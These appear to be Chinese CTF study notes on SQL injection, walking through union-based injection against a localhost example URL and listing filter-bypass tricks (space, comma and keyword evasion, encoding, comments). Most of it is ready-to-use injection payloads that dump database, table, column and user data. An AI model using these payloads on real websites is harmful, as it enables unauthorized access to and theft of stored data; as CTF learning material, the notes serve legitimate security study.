1.SQL注入

1.1 联合注入

参考文章:
https://blog.csdn.net/weixin_42277564/article/details/80583959
概念:联合查询是利用union合并两个或多个select语句的结果集,前提是两个select必有相同列、且各列的数据类型也相同。
联合注入的前提条件:页面上有回显点。在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数据展示在页面中,这个展示数据的位置就叫做回显点。
联合注入的基本过程:

  1. 判断注入点

在可能存在SQL注入变量的后边添加以下payload:
[1]and 1=1 和 and 1=2 回显页面不同
例如:http://127.0.0.1/text.php?id=1 and 1=1
http://127.0.0.1/text.php?id=1 and 1=2
如果以上两个payload执行完毕后,回显的内容不同,则该页面很有可能存在整形注入点。
[2]单引号判断’ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断) (必较常用)
例如:http://127.0.0.1/text.php?id=1
http://127.0.0.1/text.php?id=1’
如果以上两个payload执行完毕后,回显的内容不同,则该页面很有可能存在整形或字符型注入点。

  1. 判断是整型还是字符型

[1]输入and 1=1和and 1=2后发现页面没有变化,判断不是整型注入
例如:http://127.0.0.1/text.php?id=1 and 1=1
http://127.0.0.1/text.php?id=1 and 1=2
[2]输入’ and 1=1#和 ‘and 1=2#后发现页面变化,判断为字符注入,其中#用来注释掉后面的sql语句
例如:http://127.0.0.1/text.php?id=1’ and 1=1#
http://127.0.0.1/text.php?id=1’ and 1=2#

  1. 判断查询列数

order by 函数是对MySQL中查询结果按照指定字段名进行排序,除了指定字段名还可以指定字段的栏位进行排序,比如order by 1就是按照返回值的第1列进行排序。如果输入 order by 4# 发现页面错误,说明查询结果没有4列;输入order by 1时,页面正常,说明查询结果有3列。
比如:http://127.0.0.1/text.php?id=1 order by 4#报错
http://127.0.0.1/text.php?id=1 order by 3#页面正常显示
说明查询结果的返回值有3列,所以在构造联合查询语句时需要造3列
比如:http://127.0.0.1/text.php?id=-1 union select 1,2,3—+,其中—+用来注释后面的语句,惯用写法(也可以用#注释)。

  1. 判断回显点

UNION的作用是将两个select查询结果合并,如下图所示:CTF-WEB学习笔记 - 图1
程序在展示数据的时候通常只会取结果集的第一行数据,所以只要让第一行查询的结果是空集,即union左边的select子句查询结果为空,那么union右边的查询结果自然就成为了第一行,打印在网页上了。
比如:http://127.0.0.1/text.php?id=-1 union select 1,2,3—+传入id=-1,通常情况下无法查询出结果,这样就会将1,2,3在页面上输出,接下来就可以进行下面的操作了。

  1. 获取所有数据库名

    1. http://127.0.0.1/text.php?id=-1 union select group_concat(schema_name),2,3 from information_schema.schemata--+

    这个payload的结果返回值有3列,选择在第1列数据将查询结果输出,group_concat函数用于将查询结果拼接到一行显示。
    information_schema数据库表说明:
    SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
    TABLES表:提供了关于数据库中的表的信息(包括视图)。
    COLUMNS表:提供了表中的列信息。

  2. 获取数据库所有表名

    http://127.0.0.1/text.php?id=-1 union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()--+
    

    其中table_schema=database(),databas()表示当前数据库,也可以写成table_schema = ‘security’ , ‘security’ 为第5步中所查询出的数据库名称。

  3. 获取字段名

    http://127.0.0.1/text.php?id=-1 union select group_concat(column_name),2,3 from information_schema.columns where table_schema=database()--+
    
  4. 获取字段中的数据

    http://127.0.0.1/text.php?id=-1 union select group_concat(username),2,3 from users --+
    

    以上sql语句中的users,username分别是第6步和第7步获取的表名和列名。

    1.2 SQL注入绕过

  • 逗号被过滤:

union select 1,2 可以用 连接符 union select * from ((select 1)a join (select 2)b);

  • 空格被过滤:

select//flag//from/**/flag;(注释绕过)
select(flag)from(flag);(空格绕过)
%20 %09 %0d %0b %0c %0d %a0 %0a GET请求下可以代替空格使用

  • union select被过滤:

union all select,可绕开对union select的全字符匹配

  • 其他过滤

大小写混合 uNIoN sELecT 1,2,3,4
替换关键字 SELselectECT 1,2,3,4
使用编码 UNION%252f%252a /SELECT
使用注释 %55nION/*/%53ElecT 1,2,3,4 
等价函数与命令 @@datadir ==> datadir()
特殊符号 神奇的”-+.”,select+id-1+1.from users;
HTTP参数控制 /?id=1;select+1,2,3+from+users+where+id=1—
缓冲区溢出 1 and (select 1)=(Select 0xA
1000) 1.3 文件上传及一句话木马绕过

2.文件上传